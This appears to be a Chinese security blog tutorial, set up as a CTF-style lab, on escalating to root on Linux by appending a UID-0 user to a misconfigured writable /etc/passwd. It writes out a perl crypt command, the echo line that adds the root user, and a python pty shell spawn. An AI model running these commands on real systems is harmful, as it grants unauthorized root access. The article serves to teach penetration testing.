1. 首页
  2. 网络安全技术

Linux系统写入 /etc/passwd 文件提权

本文我们将讨论有关文件配置错误导致权限提升的例子。通常,在CTF挑战期间,我们总会想到查看passwd文件,以了解系统上可用的用户。

passwd文件存在于Linux root的/etc目录中。最重要的一点是,该文件非特权用户也可以进行访问。

/etc/passwd

Linux系统中的每个用户都在/etc/passwd文件中有一个对应的记录行,它记录了这个用户的一些基本属性。这个文件对所有用户都是可读的。它是一个以冒号分隔的文件,按顺序其包含的信息如下:

用户名

加密密码

用户 ID (或 UID)

组 ID (或 GUID)

用户全名

用户家目录

登录 Shell

现在,我们将查看/etc/passwd文件:

Linux系统写入 /etc/passwd 文件提权

让我们详细了解一下“/etc/passwd”文件,这里我们以root用户为例:

root:用户名。

x:放置用户密码。密码直接从“/etc/shadow”文件中获取。

0:root用户UID。

0:root用户GID。

root:用户描述的占位符。

/root:用户的家目录。将在终端会话中向用户显示该目录。

/bin/bash:用户的shell。根据用户的目的,将在用户登录时生成此shell。

环境设置

在VM中两个Linux系统的配置如下,并使用NAT网络模式(用于共享主机的IP地址)。

OS Name Role OS Version Machine IP Kernel Version
Kali Linux (x64 bit) 攻击者机器 Kali 192.168.245.134 4.12.0-kali2-686
Ubuntu (x64 bit) 易受攻击机器 Ubuntu 14.04.6 LTS 192.168.245.146 4.4.0-142-generic

我们假设已在攻击者机器(kali)上获取到了目标系统的hacknpentest用户权限。现在,我们将上传linuxprivchecker.pypython脚本来查看,目标系统上可能存在的错误配置。

我们使用wget(或web get)将文件下载到目标服务器。

默认情况下,Python已在所有linux机器上安装。我们将使用以下命令来运行枚举脚本。

python linuxprivchecker.py

权限的错误配置可能会被以某种方式滥用,从而将当前用户权限提升为root用户。现在,我们将尝试写入passwd文件以使我们成为root用户。

我们将向passwd文件添加一个用户,并在相应的字段中显式地给出加密密码。你可以使用perl语言生成带有salt的加密密码,如下所示:

$perl -le 'print crypt("THIS_IS_Original_PASSWORD","SALT")'

下面的命令将向passwd文件添加一个具有加密密码和UID,GID设置为root [0]的用户。

echo "Tom:Encrypted_Password:0:0:User_like_root:/root:/bin/bash" >> /etc/passwd

让我们拆解下我们要添加到passwd文件的字段。

Tom:用户名

ad7t5uIalqMws:加密用户密码

0:root用户ID

0:root组ID

User_like_root:用户描述

/root:用户家目录

/bin/bash:用户的Shell

‘>>’符号将输出重定向到文件,并在结尾附加重定向输出的内容(此处为/etc/passwd文件)。

生成加密密码:

perl -le ‘print crypt(“Password@973″,”addedsalt”)’

Linux系统写入 /etc/passwd 文件提权

上面的命令将生成一个带有以下密码和salt的哈希:

原密码:Password@973

盐:addedsalt

加密密码:ad7t5uIalqMws

使用上面的加密密码,我们现在将以下内容附加到/etc/passwd文件中。

echo "Tom:ad7t5uIalqMws:0:0:User_like_root:/root:/bin/bash" >> /etc/passwd

Tom用户已成功被附加到/etc/passwd文件。

cat /etc/passwd

这里提示必须在终端运行,但我们并没有什么合适的终端。我们将使用以下python one liner(目标服务器上已安装了python)迁移到bash shell:

python -c 'import pty; pty.spawn("/bin/bash")'

现在,我们尝试使用以下命令登录Tom用户:

su – Tom

可以看到现在我们的用户权限已提升为了root!

总结

我们在passwd文件中发现了权限配置错误,并最终利用这一点将我们的用户权限提升为了root。在下一篇文章中,我们将讨论有关Linux权限提升的其他方法。

文章来源:【安全时代】 原文链接:https://www.agesec.com/article/6300.html

安全时代全部内容仅适用于网络安全技术爱好者学习研究,学习中请遵循国家相关法律法规。

安全时代全部数据来源互联网,不代表安全时代立场,如侵犯您权益可邮箱联系我们,详情:版权纠纷

发表评论

电子邮件地址不会被公开。 必填项已用*标注